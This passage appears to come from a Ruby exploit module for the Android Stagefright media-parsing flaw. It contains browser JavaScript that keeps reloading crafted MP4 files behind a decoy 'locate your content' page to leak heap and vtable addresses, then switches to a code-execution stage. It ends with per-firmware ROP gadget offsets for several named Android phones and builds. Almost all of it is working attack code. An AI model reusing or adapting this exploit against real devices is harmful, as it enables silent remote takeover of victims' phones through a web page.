// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;

function duration_changed() {
  var now = Date.now();
  var req_time = now - req_start;
  var load_time = now - load_start;
  console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
  if (load_time > 2000) {
    // probably crashed. reset the entire process..
    near_sampiter_addr = -1;
    vector_vtable_addr = -1;
    waitTime = 6000;
    crashes += 1;
    if (crashes > 5) {
      console.log('too many crashes!!!');
      stop_everything();
    }
  }
  else {
    // if we got the near_sampiter_addr already, we are now trying to read the code pointer.
    // otherwise, we're trying to find near_sampiter_addr...
    if (near_sampiter_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.videoHeight != 768) { // XXX: TODO: parameterize
        if (video.videoHeight != 0) { // wtf? crashed??
          value = video.videoHeight;
          console.log('leaked heap pointer: 0x' + value.toString(16));
          near_sampiter_addr = value;
        }
      }
    } else if (vector_vtable_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.duration != 314) { // XXX: TODO: parameterize
        // zero means a value that could not be represented...
        if (video.duration != 0) {
          var value = Math.round(video.duration * 1000000);
          console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));

          vector_vtable_addr = value;
        }
      }
    }

    // otherwise, we just keep trying with the data we have...
  }

  if (error == false) {
    if (vector_vtable_addr == -1) {
      to_id = setTimeout(reload_leak, waitTime);
    } else {
      to_id = setTimeout(reload_rce, waitTime);
    }
    waitTime = 100;
  }
}

function stop_everything() {
  if (error == false) {
    console.log('---- GIVING UP!! ----');
    error = true;
  }
  if (to_id != -1) {
    clearTimeout(to_id);
  }
}

function start() {
  video = document.getElementById('vid');
  video.onerror = function() {
    console.log('  onError called!');
    stop_everything();
  }
  video.ondurationchange = duration_changed;
  //reload_rce();
  reload_leak();
}

function get_uri() {
  var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
  var uri = '#{mp4_uri}?x=' + rn;
  if (near_sampiter_addr != -1) {
    uri += '&sia=' + near_sampiter_addr;
  }
  if (vector_vtable_addr != -1) {
    uri += '&sfv=' + vector_vtable_addr;
  }
  return uri;
}

function reload_leak() {
  to_id = -1;
  var xhr = new XMLHttpRequest;
  xhr.responseType = 'blob';
  xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
      if (xhr.status != 200 || !xhr.response) {
        stop_everything();
        return;
      }
      load_start = Date.now();
      try {
        //var url = URL.createObjectURL(xhr.response);
        var a = new FileReader();
        a.onload = function(e) {
          //console.log('onload: ' + e.target.result);
          video.src = e.target.result
        };
        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
        a.readAsDataURL(xhr.response);
      } catch(e) {
        console.log('  ERROR: ' + e.message);
        stop_everything();
      }
    }
  };
  xhr.open('GET', get_uri(), true);
  req_start = Date.now();
  xhr.send();
}

function reload_rce() {
  to_id = -1;
  video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
    print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  #
  # Return some firmware-specific values to the caller.
  #
  # The VectorRVA field is extracted using the following command:
  #
  # $ arm-eabi-readelf -a libstagefright.so  | grep _ZTVN7android6VectorIjEE
  #
  def get_details(my_target)
    details = {
      'lrx' => {
        'VectorRVA' => 0x10ae30,
        'PivotStrategy' => 'lrx',
        'Pivot1' => 0x67f7b,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0xaf9dd,   # ldm.w r4, {sp} ; pop {r3, pc}
        'Adjust' => 0x475cd    # pop {r3, r4, pc}
      },
      'lmy-1' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-1',
        'Pivot1' => 0x68783,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0x81959,   # ldm.w r4, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'lmy-2' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-2',
        'Pivot1' => 0x6f093,   # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
        'Pivot2' => 0x81921,   # ldm.w r0!, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'shamu / LYZ28E' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e91,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'shamu / LYZ28J' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e49,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'sm-g900v / OE1' => {
        'VectorRVA' => 0x174048,
        'PivotStrategy' => 'sm-g900v',
        'Pivot1' => 0x89f83,   # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
        'Pivot2' => 0xb813f,   # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
        'Adjust' => 0x65421    # pop {r4, r5, pc}
      }
    }

    details[my_target['Rop']]
  end

end